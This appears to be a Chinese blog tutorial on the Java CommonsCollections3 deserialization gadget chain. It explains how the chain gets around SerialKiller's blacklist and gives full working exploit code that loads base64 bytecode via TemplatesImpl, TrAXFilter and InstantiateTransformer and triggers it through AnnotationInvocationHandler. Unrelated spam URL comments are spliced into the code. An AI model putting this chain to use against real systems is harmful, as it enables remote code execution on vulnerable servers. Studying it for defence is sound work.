为什么需要CC3
在2015年前后@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利用工具ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安 全的过滤方法,于是类似SerialKiller这样的工具随之诞生。
SerialKiller是一个Java反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的 类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:
包括了CC1使用的InvokerTransformer,这也就切断了CC1的利用链,为了绕过类似工具提供的限制,随后ysoserial增加了不少新的Gadgets,其中就包括CommonsCollections3。
另外一个原因是,CC3使用了TemplatesImpl动态加载字节码的方式,可以执行任意java代码,实战意义更大,更好用。
Gadgets 构造
这部分涉及到java加载字节码的原理,参考Java中动态加载字节码的那些方法
我们先尝试用TemplatesImpl + InvokerTransformer来构造一个利用链
public static void main(String【】 args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
byte【】 code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
setFieldValue(obj, "_bytecodes", new byte【】【】{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer【】 transformers = new Transformer【】{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null ,transformerChain);
outerMap.put("test","xxx");
}
假设无法使用InvokerTransformer,那么需要找替代类,CC3找到了一个搭配TemplatesImpl的类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,这个类并不能像transformer一样执行任意方法,但是这个类的构造方法中调用了(TransformerImpl) templates.newTransformer();
因此只要调用到TrAXFilter的构造方法,传入一个构造好的Templates即可触发。
并使用另一个transformer:org.apache.commons.collections.functors.InstantiateTransformer替换InvokerTransformer。
InstantiateTransformer也是一个实现了Transformer接口的类,他的作用就是调用构造方法。新的Transformer链如下:
Transformer【】 transformers = new Transformer【】{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class【】 {Templates.class} , new Object【】{obj})
};
当然也可以替换为lazymap或者CC6的触发方式,完成版本通杀
补充完整,用序列化触发,复习一下前面的内容,HashMap不能序列化,需要用sun.reflect.annotation.AnnotationInvocationHandler,来封装
完整代码:
public static void main(String【】 args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
byte【】 code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
setFieldValue(obj, "_bytecodes", new byte【】【】{code});
//代码效果参考:http://hnjlyzjd.com/xl/wz_24894.html
setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer【】 fakeTransformers = new Transformer【】 {new ConstantTransformer(1)};
Transformer【】 transformers = new Transformer【】{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class【】 {Templates.class} , new Object【】{obj})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = //代码效果参考:http://hnjlyzjd.com/hw/wz_24892.html
clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);
// 注意这里Retention.class 和上面innerMap.put("value", "xxx")的关联
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
setFieldValue(transformerChain, "iTransformers", transformers);
// =================
// 生成序列化字符串
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
oos.close();
// 本地反序列化
ObjectInputStream bis = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
bis.readObject();
}
```
为什么需要CC3Gadgets 构造
EOF
本文作者: ChanGeZ 本文链接: 关于博主: 评论和私信会在第一时间回复。或者直接私信我。 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处! 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。